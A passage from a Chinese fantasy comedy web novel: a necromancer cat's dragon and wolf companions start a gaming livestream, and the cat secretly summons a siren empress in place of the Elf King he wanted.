他居高临下地俯视阿利斯泰尔,缓缓说:“我假装来打你,实则趁机将你打死,怎么样?” 阿利斯泰尔笑容变小,随即又努力地扬起,干巴巴地笑道:“亥伯龙,没想到你竟然变得这么幽默,都会讲笑话了哈、哈哈。” 亥伯龙但笑不语,阳光打在他身上,投下的阴影将阿利斯泰尔完全笼罩。 他讲的是不是笑话,一会儿便能分晓。 阿利斯泰尔终于真切地意识到大事不妙,想刹车停下脚步,可处于冲刺状态的身体哪是那么好停下的? 他只能眼睁睁看着自己与笑容扭曲起来的亥伯龙越来越近,惊吓地连连摇头—— “停——!” 现在说什么都晚了!亥伯龙凶恶地想,拳头已经捏紧,就要狠狠揍进狼的脸。 等等,这个声音不对,蠢狼也根本没张嘴? 亥伯龙和阿利斯泰尔同时转头。 “不,不行了……停,停一会儿!”莫特默瘫在不远处的草地上大喘息,口中断断续续。 他从一大早开始,和阿利斯泰尔又跑又跳又笑的。但他可不是只要有魔力就能像个永动机一样,永不疲惫,一直保持在完美状态的死灵,只是一个柔弱又普通的猫猫。 即使有魔力的加持,他现在也已到达极限。 从激素上涌,肾上腺素飙升的状态中脱离,莫特默整只猫都像是被抽了骨头般要软倒在地。 他晃晃悠悠,东倒西歪地走着,像是下一秒就要摔个四仰八叉。 亥伯龙和阿利斯泰尔看到莫特默这凄惨中又透露着搞笑的模样,不约而同地停下他们的架势。 亥伯龙双手抱臂,向莫特默投以“活该”的嘲笑眼神,但还是没说什么,只侧身露出身旁的窗户,好让莫特默可以直接通过窗子回到自己的小窝。 阿利斯泰尔则甩着尾巴,轻巧又关切地凑到莫特默身边,用鼻子小心翼翼地拱了拱莫特默。 他没有贸然将莫特默顶在头上带回去,而是亦步亦趋地跟着莫特默,像个忠诚的移动围栏一样绕着莫特默,以防如果莫特默脱力倒地,他能在第一时间用身体接住。 毕竟刚剧烈运动完,直接躺下可对身体不好,还不如这样一点点让莫特默自己走回去。 在一龙一狼无声的注视下,莫特默气喘如牛,费力地慢慢回到了室内。 来到铺着地毯的室内,他又摇摇晃晃地走了一会,气息才终于平复了一些,开始往自己高高的小窝攀爬。 高高? 阿利斯泰尔惊叹地仰起头,认真地数起来。 那是个1,2,3,4……由足足七层垫子垒起,组成的一座高高的小山。 莫特默手脚并用地撑着酸软的身子极限攀岩,最后噗通一声摔进最上层的猫之宝座,长长舒出一口气。 终于! 阿利斯泰尔尾巴轻晃,前爪抬起搭在高高的垫子边缘,探头看向深深陷在里面的莫特默,像感到新鲜,又像是不能理解地歪头看了好一会儿。 一同走进室内的亥伯龙见状,轻哼着笑了,评判起莫特默那夸张的小窝:“你也觉得很多此一举……” “我也要!” 阿利斯泰尔蓦地嗷的一声,暴言地打断道。 说完,他放下前爪,像是觉得这是什么天才的决定,还兴奋地原地点点狼头。 亥伯龙:“!??” “你不会在问我要吧?” “有品!”几乎同时,闷闷的,属于莫特默的声音一同响起。 莫特默即便是累了,困了,被埋在厚厚的垫子里,也要在他的小窝中,用声嘶力竭的声音呐喊出这一句。 可紧着着,他又补充了一句,“不过我在这方面可没办法帮你。”他遗憾道。 猫猫两袖清风,全部物资都由亥伯龙倾情贡献,在这方面属实爱莫能助。 “砰”的一声,白狼变为高大的人型。 阿利斯泰尔双手叉腰,一脸阳光自信道:“没关系!” “我可以自己赚钱买,并且我也要赚钱给你花,莫特默!”他震声道。 真正的王,从不惧怕任何挑战和困难! 莫特默听得心花怒放。 听听,这才是正经的死灵仆从!挣来的钱都是要给小猫花的。 他抬起小脑袋,严肃地思考起有什么是阿利斯泰尔可以干的。 阿利斯泰尔既然有这个心,莫特默自然要大力支持,为其开动自己的小脑筋,挑选一个完美的工作。 亥伯龙看着面前这两个一唱一和,俨然一副哥两好,亥伯龙是吝啬的坏人的模样,忽地嘴角挑起一抹近乎恶趣味的笑。 “我倒是知道一个适合你的工作。” 他不紧不慢地说,像是完全出自好心的建议,“人类的世界中,最近流行一种叫up主的职业。” 亥伯龙的目光落在阿利斯泰尔老是笑容灿烂的脸上。 既然这么喜欢笑……那就笑个够好了。 “你可以去直播卖笑啊。”亥伯龙恶意地道。 不怕困难,那当个网络小丑也难不倒你吧? 阿利斯泰尔疑惑道:“UP主?” 莫特默接过话头:“是人类的一种通过播出令人欢迎的内容从而获得观众打赏的职业。等积累了一定的名气后,还可以接广告来赚钱。” “哦哦!”阿利斯泰尔思考了一瞬,随即恍然,拳头轻敲掌心,“我明白了!” “就是用人格魅力征服别人,让他们心甘情愿地为你付出,等名声渐起后,甚至只需要一句话,就会有人源源不断地送上财富的职业吧!” 他笑得露出一口白牙,信心满满:“这个我熟!” 完全误会——不,仔细想想,说不定差不多? 同样的想法在亥伯龙和莫特默脑中一闪而过。 不过说起来……莫特默忽地想起亥伯龙的coser大赛。 真是想什么来什么,他这个念头刚起,亥伯龙的手机响起铃声。 亥伯龙随手接起,电话那头传来客气的声音,来电人自称是大赛官方的工作人员。 对方解释道,他们之前一直联系不上亥伯龙,直到最近通过漫展上一名有亥伯龙联系方式,售卖同人本的摊主,这才成功拨通亥伯龙的电话。 他先是恭喜亥伯龙通过了初赛,然后详细地交代了复赛的流程安排。 关于第二次复赛,亥伯龙需要前往另一座城市参加。 不仅如此,和初赛只要求基础还原度,和一定的舞台表现力,能在几分钟内呈现一个有感染力的片段就行不同, 复赛在要求提高的基础上,时长增加,还加入了赛前访谈,赛时问答的环节。 而晋级要求也从完全的评委审评,变为由占大头的评委评分和占小头的全国观众实时投票共同决定。只有前三名能晋级,参与下一场全球性的决赛。 可能是考虑到亥伯龙的“艺名”,以为亥伯龙是魔法神话传说的忠实粉丝,电话那头还特别强调,用充满诱惑的语气补充道: “如果您成功通过了复赛,我们的最终决赛将会在魔法神话起源的W国进行!” “并且,这一次的复赛,会有菲瑞集团的重要人物前来作为评委之一,”他又压低声音,用分享一种趣闻的口吻道,“据说,他们祖上就是传说故事中的妖精的血脉后代呢……” 电话挂断,莫特默懒洋洋地打了个哈欠,不以为然道:“我们现在又不缺钱,这种比赛自然就不用去了喵。” 还专门跑到另一个城市,甚至后续还要出国,真麻烦。 自亥伯龙打劫了那个魔法家族后,莫特默也不是之前的小猫了,此时的他已经看不上那优胜也只有区区20万的奖金了。 “为什么不去?”反倒是亥伯龙说。 莫特默颇为讶异,亥伯龙轻轻转着手机,语气平静地提醒:“你忘了你当初怎么说的了?” 他说什么了?他不就说亥伯龙参赛可以修整人类对亥伯龙的错误认知,而亥伯龙身为本尊,不可能获得不了冠军? ……莫特默哑口无言。 阿利斯泰尔冒头,眼中闪烁着八卦的目光:“什么什么?亥伯龙你有什么非去不可的理由?” 亥伯龙刚想说明,正好好好奚落一下莫特默,脸色就一黑,想到了人类绘制的“亥伯龙”性感立牌 “啧。”他不爽地闭上嘴。 可下一秒,他不知想到什么又哂笑一声。 他就算有又怎样?他不信阿利斯泰尔逃得过! 莫特默结结实实吃了一个回旋镖,郁闷地将爪子压在身下,农民揣地整只猫团成一个毛球。 但小猫什么都吃,就是不吃亏! 他眼珠悄悄一转,很快想到一个问题。 复赛和初赛的赛制不同,要想夺冠,那普通观众的观感和支持度就很重要了。 而亥伯龙刚刚不是还在撺掇阿利斯泰尔当UP主吗! “亥伯龙,你完全可以和阿利斯一起当UP主,正好为我们下一次的比赛宣传热度,方便之后拉票啊!”莫特默说。 阿利斯泰尔&亥伯龙:! “好啊!”阿利斯泰尔胳膊一展,就想拐住亥伯龙的脖子:“亥伯龙一起来肯定会很有意思的!” 亥伯龙后侧一步,直接避开阿利斯泰尔自来熟的手臂,神色冷傲道:“无聊。我绝不会和蠢狼在那一起傻笑。” 怎么不行!……等等。 莫特默舔舔爪子,狡黠地说:“为什么一定要弄cosplay呢,龙你可以和狼一起直播打游戏啊。” “不仅可以帮助阿利斯挣钱,顺便……”莫特默故作叹息地拖长了声音,“也能练练你那糟糕的游戏技术。” 亥伯龙慢慢挑起眉毛,眼神有了微妙的变化。 莫特默再接再厉,继续道:“就现在这样,你想赢过我还差五百年呢,就不知阿利斯的游戏技术怎么样?” “不会你连阿利斯都打不过吧?”他语气浮夸,一听就是在故意刺激亥伯龙。 亥伯龙微微眯眼。 如此钩直饵咸,莫特默不会以为他会上钩吧? “游戏的话我还是很有信心的!”可他还没说话,阿利斯泰尔先答道。 虽然没玩过,可他看亥伯龙玩过啊! 看起来……没什么难的。阿利斯泰尔笑嘻嘻地。 亥伯龙的视线从莫特默脸上移开,缓缓审视地定格在阿利斯泰尔碍眼的笑脸上。 阿利斯泰尔毫不退缩,反而笑得更加灿烂。 虽然他在战斗中打不过亥伯龙,但没谁说在游戏里也一样吧? 亥伯龙看出了阿利斯泰尔眼中的挑衅意味,眼珠微微一动。 哦?他会输给阿利斯泰尔? 生前阿利斯泰尔打不过他,竟游戏里妄想赢他? 呵。 他今天就要让阿利斯泰尔彻底明白,什么叫绝望。 既然你这么想在全网面前出丑……满足你。 于是亥伯龙转身向游戏机走去。 第26章 某知名网络平台M站, 一个无人察觉的角落,一名新人UP主不为人知地诞生了。 新出现的直播屏幕上一片漆黑,偶尔几个路过误入的用户,见什么也没有也便迅速地划走了。 零星比较有耐心和好奇心的观众停留片刻, 留下了几句“新人?”“这是要播什么?”的评论, 没等到回复之后也陆续退出。 直到一片沉寂之中, 屏幕忽地点亮。 一只暗金色的瞳孔毫无征兆地占据了整个大屏, 它停顿了几秒,仿佛在审视屏幕另一头的世界, 而后缓缓后退, 露出全部的面容。 亥伯龙终于研究调试好设备, 打开了摄像头。 …… 和普通的每一天一样, 一名平平无奇的男大正躺在床上百无聊赖地刷着M站的视频。 “做饭、跳舞、抽象、土味短剧,来来回回就是这些, 就没什么有趣的吗?” 忽地, 一个直播被推送到他指尖下, 虹膜的网状结构在超高清的镜头下根根分明, 在黑暗的背景中微微发光, 仿佛正透过屏幕凝视着他。 “什么东……卧槽!!!” 一张即使在放大的镜头下也毫无瑕疵的脸,毫无缓冲地撞入视线。对方五官线条锋利又精致, 一头红发如火焰流泻, 而最摄人的那双暗金色的眼睛里, 似乎真有细碎的光在缓慢流转。 即便是同性,男大也情不自禁停下划走的动作。 “这得是开了多厚的滤镜?”他喃喃自语, 可脑中回放出方才那只眼睛的特写,其中细节真实得让人心底发毛,又觉得不像, “难道是AI?还是真就长这么牛?” 再一看,UP主名叫亥伯龙与莫特默,粉丝数0。是个彻头彻尾的新人。 “亥伯龙……嘿,还是个二次元。”男大不由笑了一下。 但这接地气的名字无形中缓和那种颜值带来的不可接近感,甚至还因“原来帅哥也好这口”的美妙共鸣,让他心中升起一分说不清道不明的亲近之意。 就因为这点好感,他的指尖不再滑动,心中升起了几分好奇和期待。 长得这么帅的新人到底要播什么?他高低都得留下来看看,尝尝咸淡。 显然,被这张脸“钉”在直播间的,远不止他一人。 随着亥伯龙打开镜头,原本数量为0的观众数便开始逐渐向上攀爬,原本空荡的直播间,弹幕也开始渐渐活跃起来。 [主播要播什么?就只是靠脸吃饭吗] 这是关心亥伯龙直播内容的。 [这红发哪染的?色好正,求推荐] 这是注意到亥伯龙与众不同的红发,想要同款的。 [ID叫“亥伯龙与莫特默”,你推亥伯龙,自己叫莫特默?] 这是猜测亥伯龙网名缘由的。 屏幕外,亥伯龙注意到最后的一条信息,眉梢几不可察地抽动了一下。 他自然不可能在填写网名的时候,还要特地加上莫特默的名字。 事实这是因为,他在打下亥伯龙这几个字后,系统却提示这个名字已经被占用了,他只好退一步打下“真正的亥伯龙”,但这个名字竟也被抢注了。 他不信邪,又试了“亥伯龙本尊”,“红龙亥伯龙”,“古龙王亥伯龙”……甚至用上了那几个他曾嗤之以鼻的称号和蔑称。 但无一例外,全军覆没。 最终,他只能面色不虞地、勉强地,在后面加上了莫特默的名字。 “不。”亥伯龙对着镜头,声音冷淡清晰,说出开播以来的第一句话:“我是亥伯龙。” 说完,他便不顾其它询问的弹幕,开始载入游戏界面。 弹幕因为亥伯龙的出声瞬间激增,一大片[]划过。 [自己叫亥伯龙可还行?!] 在亥伯龙如今被视为是一个传说神话人物的现在,称呼自己为亥伯龙,就像在说我就是二郎神,宙斯,亚瑟王。 [很好,新人,你成功引起了我的注意] [中二病也要开直播?] [所以莫特默是谁啊] 男大看着沸腾的弹幕,又看了看屏幕上那张自带嘲讽表情的脸,好奇心被被吊到了顶点。 他有预感,这场直播不会无聊了。 但他人的情感与亥伯龙无关,他按照计划,将原本占据整个屏幕,聚焦于他的摄像头视角极速缩小,拉下到画面左下角,露出后面即将运行的游戏。 单调的色块,二维的平面,画面上的绘画风格甚至看上去像是小学生画出来的,有些过于粗糙简陋。 是《I wanna》 这个在某些方面极其出名,极其有特色的游戏IP一出,弹幕的风向瞬间就变了。 [666] [一上来就这么硬核] [豪斯不送][《入门选择》] [已经开始笑了,快,我要看破防] [播这个?那我可要坐起来看] “这就是我们要打的游戏?”阿利斯泰尔垂下头好奇问道。 另一张与亥伯龙截然不同,却同样令人过目难忘的脸出现在左下角的小屏窗口上。 弹幕暂停了一瞬,随即以更汹涌的态势爆炸开来: [???还有一个??] [今天是什么颜霸开会日] 两个帅哥明显是1+1大于二的效果,再加上似乎要直播那个以极高难度和“笑着流泪”,同时挑战操作者技术和精神状况闻名的游戏, 左上角观众的数量开始急剧跳动,很快突破百人大关,朝着更高的数字前进。 [从颜值区来的,怎么是打游戏,不擦边吗(狗头)] [cosplay?什么时候帅哥这么不值钱了] [等等,主播好像有点眼熟] [主播你是X市coser大赛的那个亥伯龙吗] 随着人数增加,也逐渐有人认出了亥伯龙的那张脸,询问他是不是本人的弹幕逐渐增多。 亥伯龙视若无睹,只是按下游戏的开始键。带着披风的小人出现在屏幕上,他一边操作熟练地往前突进,一边对阿利斯泰尔说: “目标就是操作这个小人抵达出口。” 屏幕上的小人随着亥伯龙的操作精准而流畅地左跳右跳,一个短促冲刺接上轻盈的二段跳,在看似危险的钉刺间从容迂回,随后一个教科书式的后退假动作,诱骗陷阱,再迅捷地翻上空中的台阶,稳稳站在通往下一关的出口处。 整个流程行云流水,没有一丝多余的操作,甚至透着一股轻松写意的韵律感。 “看,就这样很简单吧。” 亥伯龙放下手柄,向后靠向沙发背,声音平静无波。 阿利斯泰尔干脆应下,略带惊讶道,“确实看起来不难,亥伯龙你居然挑了一个这么简单的游戏吗?” 亥伯龙不置可否,只道:“这个游戏也有双人联机模式。” “不过为了公平起见,先给你一段熟悉这个游戏的时间。” “目前这关我已经打通过了,记录是1分56秒。”他淡道。 [1分56???][不信,UP在说什么呢] [那个游戏区的大UP的记录才3分12吧] [世界纪录都才3分8秒好吗] 阿利斯泰尔撸起袖子,露出线条清晰的小臂,拿过另一个新的手柄:“没问题!” 他摁下向右键,屏幕上小人顺势向右走去,进入下一关。 说时迟那时快!就在小人刚在新关卡迈出几步的瞬间,一个倒三角钉刺从天而降! 弹幕已经刷起来:[首杀][梦开始地地方][死因:没问题] 可这足以轻而易举杀死任何一个新手,甚至不少老手的地方,却未令阿利斯泰尔动摇,他面色不变,操纵小人就是一个后退, 然而,小人身后的地面竟同时下陷! 小人在半空中再次起跳,可那落下的钉刺竟像长了眼睛,凌空拐弯,直直朝小人追了过来! 空中的小人无处可避,所有观众都已经预见了“Game Over”的画面。 却见那小人不慌不乱,竟迎面朝着钉刺冲去,然后在即将触碰时一个下坠,接上一个短促冲刺和弹跳,便稳稳地站在另一侧的平台上,而那追在他身后的钉刺收势不及,径直出屏幕之外。 这一番丝滑到极致,几乎违背常理的操作看得所有人目瞪口呆,连弹幕都在不知不觉中稀薄了一瞬。 [有点东西] [这对吗] [这是人能有的反应速度?] [坦白说吧,你绝对不是第一次玩] 《I wanna》之所以出名,就在于它那层出不穷的猝死陷阱和预判了玩家心理的反套路,以及一旦死亡便会退回关卡起点,搞玩家心态的机制。 玩家走的每一步,都无法预知前面等待你只是一个小小的普通陷阱,还是一个一环扣一环的致命连环招。 一招不慎,满盘皆输。 即便是操作再牛的玩家,在不背地图的情况下,也难免反复受挫。 阿利斯泰尔脸上仍挂着惯有的轻松笑意,眼神却稍微认真了几分:“有点意思。” 亥伯龙“啧”了一声,但倒也没有显得特别遗憾。 这只是地图刚开始的一个开胃小菜,之后有他好受的。 阿利斯泰尔将手柄按得啪啪作响,和亥伯龙不同,他一边玩着游戏,一边竟然还有心思去看弹幕,回答观众的问题。 “确定是第一次玩游戏?确定。谢谢夸奖,我也觉得我玩得不错。” “懂了,红发的是亥伯龙,那我就是莫特默?”他读着弹幕。 “不,我不是莫特默啦。”他笑了笑,“我是阿利斯,阿利斯泰尔。” “我们是……”阿利斯泰尔思索了一下,手下操作的人物不慎死了一次,“对,室友关系!” 弹幕立刻追问:“那莫特默呢?” 阿利斯泰尔笑着回答:“他在旁边指导我打游戏呢。” [指导打游戏?] [啊这,这种行为不太好吧] [而且名字不是亥伯龙和莫特默吗?怎么本人不来?] [嘴强王者虽迟但到] [最烦这种自己不打,嘴巴上隔空指导的人了] 阿利斯泰尔瞥见评论,连忙澄清道:“别误会,莫特默据说打游戏很厉害,听说比亥伯龙都强哦。” [不信] [有你厉害吗] [再厉害,隔空指导也不行] 阿利斯泰尔忽地朝镜头伸手:“看,他就在那儿呢。” 他捉住摄像头,扭向一边。 镜头倏地转向,直播的左下角小屏中,赫然出现一只有着白色豆豆眉,和一双白手套的奶牛猫。 那只可爱的奶牛从一座高高垒砌,中间凹陷的垫子高塔上探出头,爪子搭在垫子边缘,也就是自己下巴的下方,目光紧紧地盯着前方,时不时“喵”上一句,表情严肃得像是在做什么新闻播报。 [也不是不行] [猫指导你打游戏,猫好] [太可爱了] [小猫擅长打游戏?很合理] 原本满屏是谴责和打抱不平的弹幕风向瞬间逆转,通通反口,变为对小猫的吹捧,而原本对“莫特默”的质疑,转为变成对亥伯龙的。 [那亥伯龙的水平呢] [主播第一次玩,只是被小猫指导了一下就有如斯水平,那作为主人的亥伯龙呢?] [刚刚那一下也不错吧?] [只是背谱,我上我也行] [说是能1分56通关,谁知道是不是说大话] 阿利斯泰尔将摄像头重新对准自己:“依照我对他的理解,亥伯龙从不说谎。” [真有这么厉害?] 阿利斯泰尔举了举握着手柄的手,不服输道:“当然,我也不差。” [那你和亥伯龙谁打游戏更厉害?] “这个吗……” “当然是我。”亥伯龙开口,语气不容置疑。 阿利斯泰尔话语顿了一瞬,随即挑衅地接话:“不一定哦。” [哦哦哦打起来打起来] [我押阿利斯,光看他那反应速度就能看出来] [亥伯龙要是真打出过1分56的记录,这还有什么说的?这不世界第一游戏玩家?] 亥伯龙没有扭头,只有眼神缓缓转向一旁的阿利斯泰尔:“很敢说嘛。” 阿利斯泰尔也专注地注视着屏幕,没有回头,眼中闪着细碎的光,回敬道:“虽然现实中的战斗打不过,但游戏上可说不准。” 话音刚落,亥伯龙低笑起来。 阿利斯泰尔也保持着脸上的微笑,气势上丝毫不相让。 空气中,仿佛有某种东西在互相撕咬,激烈对抗。 这时,一条弹幕轻飘飘划过: [要不要赌一赌?] 瞬间,无数起哄的弹幕如火山喷发般涌现。 [赌!必须赌!] [我给赢家刷十个‘火箭’] [已打赏,速开局] 伴随着无数打赏的叮咚提示音,阿利斯泰尔开口:“赌什么?” [输了的人叫爸爸!] 亥伯龙摩挲指尖,眸中浮现满意,愉快道:“不错。” 阿利斯泰尔笑着摇头:“哈哈我不用你叫爸爸,这也太不好意思了。” “我只要你之后,”他的声音渐渐沉下来,隐含着一种挑衅:“不因此阻止我和莫特默就行。” 亥伯龙眼神微动,什么都没有说,只是拿起手柄。 一龙,一狼坐在巨大的屏幕前,脸上都胜券在握,不动声色,仿佛这不过是一局随意的娱乐。 可他们的背后,好似都各自燃起了汹汹的黑色火焰! 莫特默望着他们的背影,舔了舔胸前的毛,无奈地摇摇头。 王,你的名字叫做幼稚! 不过…… 莫特默的眼睛滴溜溜地转向一旁虚掩的门。 既然这两个家伙为了不输给彼此,一时半会儿谁都轻易不得离开。 那他岂不是可以趁此机会再去举行一场召唤? 莫特默伏低身子,悄无声息地跳下小窝,肉垫无声地压过地毯,像一道阴影般溜向门缝。 在他身后,电视屏幕上的光芒明明灭灭,映照着两张心无旁骛的脸…… 作者有话说: 下一个被莫特默召唤出来的会是……?[狗头叼玫瑰] A.强大又帅气的新英雄[墨镜] B.莫特默心心念念的精灵王[星星眼] C.不想码字的咕咕精[鸽子] D.穿山甲[问号] E.临门一脚被亥伯龙制止,什么也没召唤出来[求你了] F.其他:_____[狗头] 第27章 一脚踏入那间眼熟的房间, 莫特默毫不掩饰地露出一抹邪恶的笑。 没错,他不仅要召唤新死灵,还要在原本就召唤出阿利斯泰尔的地方进行召唤!在哪里跌倒,就要在哪里站起来! 虽然房间内仍残留着一些战斗的痕迹, 地上洒落着当时由于亥伯龙的攻击而崩落的碎石, 但地面中央却依旧完好无损的召唤阵和空气中还残留的躁动魔力很好地弥补了这一点。 莫特默用爪子三两下拍走碎石, 兢兢业业地清理出完整的法阵轮廓, 又在几处有些模糊的边角补上了几笔。这样,一个合格的召唤地就有了! 如此一来, 场地就位, 魔力储蓄准备充足, 时间也足够充分, 他现在唯一需要的,就是一个用来召唤的媒介。 上一次没召唤出精灵王是他的失误, 但这一次, 一切, 都将截然不同! 想到这, 莫特默信心十足地掏出一个…… T恤衫! 并规整地放在了法阵的中心。 什么?你说用T恤衫怎么能召唤出精灵王?这种现代玩意儿, 别说精灵王,亥伯龙那个时代的无论什么人都不会回应召唤吧? NONONO 这你就不懂了吧? 在上次召唤失败后, 莫特默痛定思痛, 白天深刻反思, 晚上反复推演,最终成功顿悟: 就连有着精灵工艺的号角都召不来精灵王, 何谈连一点精灵气息都没沾的其他媒介? 更何况,沾染精灵气息的物品,就一定是精灵王曾持有的吗?说不定会因此召唤出不知哪个时代的精灵。 他从一开始就错了, 他不应该用含精灵元素的东西作为媒介。 而真正的版本答案,其实远在天边,近在眼前。 莫特默的胸膛再次咕咕咕地闷笑起来,嘴角越扬越高,几乎咧到耳根,勾出猖狂的笑容。 没错,他悟了。 要想召唤精灵王 ——就应该用亥伯龙的贴身物品才对啊!!! 这件放置在法阵中心的T血衫,就是亥伯龙曾被泼了一身水后换下的那件旧衣,上面沾满了亥伯龙的气息。 这,才是他的必胜媒介! 为了召唤的万无一失,他专门偷走了亥伯龙的衣服。 既然亥伯龙已经被他成功召唤,那么这个媒介的指向就会接着延续传递到与亥伯龙生前有较深关联的灵魂上。 精灵王作为亥伯龙的昔日友人感应到此物,看在亥伯龙的份上,定会回应他的召唤! 不愧是他,天才的亡灵法师,这一次,他绝不会失败,桀桀桀! 莫特默压下猖狂的表情,整了整神色重回肃穆的施法姿态,开始进行召唤。 法阵随着魔力的注入逐渐亮起柔和的光芒,莫特默能感觉到,一股无形的力量萦绕在法阵中心的T恤衫上,从T血衫上架起一座“桥梁”连接到某个虚空中某个看不见的地方,也就是灵魂沉眠之地。 那股力量徘徊了片刻,未能找到与这件媒介联结最深的灵魂后,果然不出莫特默所料,转而朝其他地方蔓延而去。 不久,媒介上的魔力骤然传来清晰的回响,它成功地发觉了与之关联共鸣的灵魂,就是…… 莫特默发出一道疑惑的小鼻音。 怎么有两个? 魔力的联结只能通往一个灵魂,他该让“桥梁”往左,还是往右? 莫特默沉心凝神,细细感知起来。左边的灵魂原起初灵魂的波动平静如水,却在隐约感知到亥伯龙的气息后立刻暴起,灵魂剧烈波动,爆发出强烈的愤怒情绪,像是恨不得顺着探过去的魔力,一个大B斗朝莫特默打过来。 而右边的灵魂一开始也很沉寂,在感受到亥伯龙的气息后,先是传来一阵先疑惑后吃惊的情绪,继而重新恢复平静,对于莫特默的力量表达出一种近乎漠然冰冷的态度。 这下好了,还有什么可犹豫的? 根据亥伯龙记忆里精灵王那高洁矜持的形象,以及他们之间的关系,精灵王肯定是右边的那个! 莫特默心中大定,意念如丝,将“桥梁”架在了后一个灵魂之上。 “你好,我是莫特默,亥伯龙已经被我召唤,你可愿被我召唤,与他再见一面?” 莫特默先礼后兵,礼貌地发出邀请。 莫特默能感觉到,那个冷淡的灵魂起初在“桥梁”架过来时就想断然切断连接,一句话都不想和莫特默说,可在听到亥伯龙已经被召唤的讯息后,像是在震惊,又像是在沉思般陷入诡异的沉默,并停下了动作。 片刻,灵魂未发一言,可“桥梁”那头传来了同意的波动。 死灵应允了召唤,召唤成功了。 见状,莫特默心中更是确信,回应召唤的 ——绝对是精灵王! 随着契约成立,法阵中心逐渐弥漫出雾气。 由于这一次他选择了用沟通说服死灵,没有支付过量的魔力,所以这场召唤没有像上次一样,隔着一层结界还引起了剧烈的异样和魔力震荡,结界之外一片平静。 但这波动却瞒不过仅有几面墙之隔的亥伯龙和阿利斯泰尔。 他们猛地停下手中刚刚还按个不停的手柄,目光如电地穿过墙壁,愕然地望向莫特默的方向,动作、表情出奇的同步,一致。 下一瞬,他们齐齐丢下手中的手柄,不顾游戏里当场死翘翘的小人和屏幕上质问的弹幕,转身便冲向召唤室。 而召唤室内,浓雾弥漫间,一道姿态高雅的身影试探性轻轻拨开云雾。 莫特默不自觉挺起小胸膛,心中已经打好了欢迎词的腹稿。 紧接着,那道人影的手臂完全探出雾气,展现在莫特默眼前。 整只光.裸的胳膊肤色冷白,肌肤在光线下流转着冷月般的光泽,纤纤玉指舒展,而在那指尖之上 缀着红宝石般耀眼,修长而尖锐的红色指甲。 ……莫特默:? 等等,红指甲? 莫特默心中泛起一股不详的预感。 未等他深想,一道优雅魅惑的声线从雾气后悠悠响起: “永恒潮汐之主,葬海之渊的女皇,塞拉菲涅,回应您的召唤。” 海妖女皇塞拉菲涅,朝莫特默轻轻弯起她的红唇。 雾气仿佛听从她的谕令,谦卑地下沉,彻底展露出被召唤者的面容。 那张堪称美艳的脸上,镶嵌这一双粉珍珠般的浅到近乎银白的浅粉眼眸,眼下画着反射出绿影的耀眼蓝色眼影,如同深海的鱼鳞。一头深蓝色的浓密卷发如弯曲的海藻般垂落在她白皙的胸前与臂弯,而一顶朱红珊瑚王冠正稳稳地戴在她头上。 她的视线在莫特默傻在原地,小小的身子上一顿,便丝滑地移开,落在站在召唤室门口,闻讯赶来的两道身影上。 塞拉菲涅狭长的美眸微微眯起,视线在来者身上简单宽松,堪称朴素的服饰,以及那匆忙赶来的模样上一扫而过,最后停在阿利斯泰尔那张写满震惊的脸上,率先开腔: “真该让我的鲨群看看,他们曾畏惧不已的月神之子,威风凛凛的凛冬君主如今是何等模样。” 她的声音悦耳,尾音却缓缓挑起,收紧,像是毒水母在收紧她的触须。 “我记得你曾獠牙毕露,一口咬碎我麾下的巨鲸,携着怒火破开我的疆域,誓要让我族沦为浅滩上的泡沫,而我族也曾让你的兽群血染汪洋,痛饮败亡者的哀嚎。” “谁能想到我们会有共事的一天?” 随即她优雅地侧身,贝壳串成的腰链碰撞出清脆的声音,她转而看向曾经的敌人与盟友。 “而您,我亲爱的合作者……” 她的声音陡然沉下:“明明已经向比潮汐还反复无常的死灵法师寻求了力量,却变成这种毫无斗志的样子?” 她眼神变得冰冷,审视亥伯龙的目光如同在失望地打量一件褪色,生锈的武器。 “我真该为你唱首挽歌,”她扬起下颚,毒液吐出舌尖“连我这样的死者都被你们的狼狈逗笑了。” 蜗居在如此狭小的领地,破败的居所,浑身气场松散且毫无防备,一副懒散度日的模样? 她眼中的失望随着话语尽数褪下,凝成毫不掩饰的轻蔑。 “至少我的野心和我一同沉没,而你的野心还剩下多少?够不够一枚贝壳的重量?” 言毕,她再次转而看向莫特默。 可这一次,她的视线冰霜尽融,其中掺上尊敬的意味,低声道:“尊敬的大人,我愿为您献上我的力量,成为您征服世界的道路最锋利的刃。” 站在那的亥伯龙和阿利斯泰尔已经无言地向她证明了这个召唤她的死灵法师的野心与实力,而她也对他们即将铸就,席卷整个世界的伟业愈发充满了信心。 可莫特默到现在都没从打击中回过神,仍是一脸恍惚,吐魂呻.吟,颤颤巍巍道:“怎么……不是…精灵王……” “恕我直言,大人,”塞拉菲涅面色平静,语气中带着诚恳的劝导,“精灵王固然实力强大,但并不是个合适的召唤人选,他恐怕不会愿意为占领世界这个目标付出他的力量,相反,他反倒可能会多加阻挠。” 莫特默:? 莫特默一口将吐出的魂咽回去,懵然地回视塞拉菲涅:“占领世界?我并没有这个打算啊。” 这下,之前一直表现得游刃有余,连亥伯龙和阿利斯泰尔都一时插不上话的塞拉菲涅蓦然怔住,好似听不懂莫特默在讲什么。 ……没有这个打算? 一声叹息响起,阿利斯泰尔苦着脸抓了抓自己的头发,终于找到机会,唉声叹气道:“莫特默,你怎么把她召唤出来了……” 亥伯龙也一脸不悦,朝塞拉菲涅冷声道:“我的事,轮不到你插嘴。” 塞拉菲涅对亥伯龙和阿利斯泰尔的反应视若无物,只迟疑地望着莫特默,良久才开口,不确定道:“那您……需要我做什么?” 莫特默想了想,虽然不是精灵王,但召唤都召唤了,总不能当场再给人送回去吧…… 于是他说:“那你在我睡觉时唱晚安曲吧!” “晚…安曲?”塞拉菲涅怔愣地重复。 莫特默视线定在塞拉菲涅那对透明的,随着情绪微微颤动的耳鳍上,理所当然地说:“你不是海妖吗?海妖,应该都很擅长唱歌吧!” 塞拉菲涅张了张嘴,一时失语。 召唤她,但只让她唱晚安曲?诚然作为海妖,她天生拥有动听的歌喉,可歌唱对于海妖而言,从不是娱乐,而是一种攻击手段。一小段吟唱,就足以让听众内脏破裂,精神失常。 但凡了解过一点海妖的,都不会因海妖音色优美,歌声动人而让对方献唱一曲。就连两个海妖之间,歌声都鲜少作为赠礼,不会轻易对彼此歌唱,更何况晚安曲…… 塞拉菲涅的眼神复杂了一点。 海妖并非没有晚安曲,只是那样私密,温柔的哼唱只会发生在极其信任的血脉至亲或刻骨挚爱之间。 她是一个母亲,也有着几个孩子,但由于战火,由于责任与繁忙,由于死亡……即便是她自己的孩子,她也很少为他们唱歌哄睡过。 “我知道了……大人。”塞拉菲涅终于应下,心中说不上是什么滋味。 